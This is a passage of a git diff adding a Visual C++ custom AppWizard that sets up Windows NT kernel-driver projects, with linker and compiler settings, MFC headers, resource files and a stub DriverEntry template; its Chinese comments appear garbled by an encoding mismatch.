text.Format("/out:\"%s/%s.exe\"",output,m_Dictionary["Root"]); + pConfig->RemoveToolSettings(L"link.exe", text.AllocSysString(), dummy); + text.Format("/out:\"%s/%s.sys\"",output,m_Dictionary["Root"]); + pConfig->AddToolSettings(L"link.exe", text.AllocSysString(), dummy); + + pConfig->AddToolSettings(L"mfc", L"0", dummy); //None : 0, Static Libraries : 1, Shared Dll : 2 + pConfig->RemoveToolSettings(L"link.exe", L"/subsystem:windows", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"/incremental:yes", dummy); + + //The NATIVE subsystem applies device drivers for Windows NT. + pConfig->AddToolSettings(L"link.exe", L"/subsystem:native", dummy); + pConfig->AddToolSettings(L"link.exe", L"/entry:\"DriverEntry\"", dummy); + pConfig->AddToolSettings(L"link.exe", L"/driver", dummy); + pConfig->AddToolSettings(L"link.exe", L"/incremental:no", dummy); + + // change the preprocessor definitions + pConfig->RemoveToolSettings(L"cl.exe", L"/D \"_WINDOWS\"", dummy); + pConfig->RemoveToolSettings(L"cl.exe", L"/D \"_MBCS\"", dummy); + pConfig->RemoveToolSettings(L"cl.exe", L"/Od", dummy); + pConfig->RemoveToolSettings(L"cl.exe", L"/ZI", dummy); // Program Database for "Edit & Continue" can not be defined when /driver option is defined + pConfig->RemoveToolSettings(L"cl.exe", L"/GZ", dummy); //GZ initializes all local variables not explicitly initialized by the program. It fills all memory used by these variables with 0xCC + pConfig->AddToolSettings(L"cl.exe", L"/Zi", dummy); // Program Database + pConfig->AddToolSettings(L"cl.exe", L"/Oi", dummy); // + pConfig->AddToolSettings(L"cl.exe", L"/Gz", dummy); // __stdcall calling convention + pConfig->AddToolSettings(L"cl.exe", L"/D \"_X86_\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"i386\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"STD_CALL\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"CONDITION_HANDLING\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"WIN32_LEAN_AND_MEAN\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"NT_UP\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"SRVDBG\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"DBG\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"_IDWBUILD\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/D \"_WIN32_WINNT=0x0400\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/I \"$(ddkroot)\\inc\\ddk\"", dummy); + pConfig->AddToolSettings(L"cl.exe", L"/I \"$(ddkroot)\\inc\"", dummy); + + // Change the libraries + pConfig->RemoveToolSettings(L"link.exe", L"kernel32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"user32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"gdi32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"winspool.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"comdlg32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"advapi32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"shell32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"ole32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"oleaut32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"uuid.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"odbc32.lib", dummy); + pConfig->RemoveToolSettings(L"link.exe", L"odbccp32.lib", dummy); + pConfig->AddToolSettings(L"link.exe", L"ntoskrnl.lib", dummy); + pConfig->AddToolSettings(L"link.exe", L"hal.lib", dummy); +// pConfig->AddToolSettings(L"link.exe", L"int64.lib", dummy); + + if (output == "Debug") + { + pConfig->AddToolSettings(L"link.exe", L"/libpath:\"$(ddkroot)\\libchk\\i386\"", dummy); + pConfig->AddToolSettings(L"link.exe", L"/libpath:\"$(ddkroot)\\lib\\i386\\checked\"", dummy); + } + else + { + pConfig->AddToolSettings(L"link.exe", L"/libpath:\"$(ddkroot)\\libfre\\i386\"", dummy); + pConfig->AddToolSettings(L"link.exe", L"/libpath:\"$(ddkroot)\\lib\\i386\\free\"", dummy); + } + + pConfig=NULL; + } + pConfigs=NULL; +} + + +// Here we define one instance of the CDriverWizardAppWiz class. You can access +// m_Dictionary and any other public members of this class through the +// global DriverWizardaw. +CDriverWizardAppWiz DriverWizardaw; + diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizardAw.h" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizardAw.h" new file mode 100644 index 0000000..1f9ce3f --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/DriverWizardAw.h" @@ -0,0 +1,31 @@ +#if !defined(AFX_DRIVERWIZARDAW_H__1029BBE7_10D9_40F5_827D_54437FD9E282__INCLUDED_) +#define AFX_DRIVERWIZARDAW_H__1029BBE7_10D9_40F5_827D_54437FD9E282__INCLUDED_ + +// DriverWizardaw.h : header file +// + +class CDialogChooser; + +// All function calls made by mfcapwz.dll to this custom AppWizard (except for +// GetCustomAppWizClass-- see DriverWizard.cpp) are through this class. You may +// choose to override more of the CCustomAppWiz virtual functions here to +// further specialize the behavior of this custom AppWizard. +class CDriverWizardAppWiz : public CCustomAppWiz +{ +public: + virtual CAppWizStepDlg* Next(CAppWizStepDlg* pDlg); + + virtual void InitCustomAppWiz(); + virtual void ExitCustomAppWiz(); + virtual void CustomizeProject(IBuildProject* pProject); +}; + +// This declares the one instance of the CDriverWizardAppWiz class. You can access +// m_Dictionary and any other public members of this class through the +// global DriverWizardaw. (Its definition is in DriverWizardaw.cpp.) +extern CDriverWizardAppWiz DriverWizardaw; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_DRIVERWIZARDAW_H__1029BBE7_10D9_40F5_827D_54437FD9E282__INCLUDED_) diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Resource.h" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Resource.h" new file mode 100644 index 0000000..35dcfa4 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Resource.h" @@ -0,0 +1,18 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by DriverWizard.rc +// + +#define IDI_DRIVERWIZARD 1 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_3D_CONTROLS 1 +#define _APS_NEXT_RESOURCE_VALUE 117 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/StdAfx.cpp" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/StdAfx.cpp" new file mode 100644 index 0000000..3a8a9bb --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/StdAfx.cpp" @@ -0,0 +1,6 @@ +// stdafx.cpp : source file that includes just the standard includes +// again.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/StdAfx.h" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/StdAfx.h" new file mode 100644 index 0000000..304d19f --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/StdAfx.h" @@ -0,0 +1,21 @@ +#if !defined(AFX_STDAFX_H__0B2E733C_EAFF_4917_917A_5AE752431406__INCLUDED_) +#define AFX_STDAFX_H__0B2E733C_EAFF_4917_917A_5AE752431406__INCLUDED_ + +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers + +#include // MFC core and standard components +#include // MFC extensions +#include // MFC support for Windows 95 Common Controls +#include "debug.h" // For ASSERT, VERIFY, and TRACE +#include // Custom AppWizard interface + +#include +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_STDAFX_H__0B2E733C_EAFF_4917_917A_5AE752431406__INCLUDED_) diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/_desktop.ini" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/confirm.inf" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/confirm.inf" new file mode 100644 index 0000000..f2509ed --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/confirm.inf" @@ -0,0 +1,2 @@ +½«Òª´´½¨µÄÎļþ£º + $$Root$$.cpp diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/newproj.inf" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/newproj.inf" new file mode 100644 index 0000000..50e5ea4 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/newproj.inf" @@ -0,0 +1,19 @@ +$$// newproj.inf = template for list of template files +$$// format is 'sourceResName' \t 'destFileName' +$$// The source res name may be preceded by any combination of '=', '-', '!', '?', ':', '#', and/or '*' +$$// '=' => the resource is binary +$$// '-' => the file should not be added to the project (all files are added to the project by default) +$$// '!' => the file should be marked exclude from build +$$// '?' => the file should be treated as a help file +$$// ':' => the file should be treated as a resource +$$// '#' => the file should be treated as a template (implies '!') +$$// '*' => bypass the custom AppWizard's resources when loading +$$// if name starts with / => create new subdir + + + + + +ROOT.CPP $$root$$.cpp + + diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/root.cpp" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/root.cpp" new file mode 100644 index 0000000..df16675 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/Template/root.cpp" @@ -0,0 +1,17 @@ +////////////////////////////////////////////////// +// $$root$$.cppÎļþ + + +extern "C" +{ + #include +} + + +// Çý¶¯³ÌÐò¼ÓÔØʱµ÷ÓÃDriverEntryÀý³Ì +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString) +{ + + // ÇëÊÓÇé¿ö·µ»ØDriverEntryÀý³ÌÖ´Ðнá¹û + return STATUS_DEVICE_CONFIGURATION_ERROR; +} diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/_desktop.ini" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/DriverWizard.ico" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/DriverWizard.ico" new file mode 100644 index 0000000..4785d45 Binary files /dev/null and "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/DriverWizard.ico" differ diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/Thumbs.db" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/Thumbs.db" new file mode 100644 index 0000000..9e4ec8b Binary files /dev/null and "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/Thumbs.db" differ diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/_desktop.ini" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/DriverWizard/res/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/_desktop.ini" "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\351\251\261\345\212\250\347\250\213\345\272\217\345\220\221\345\257\274/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file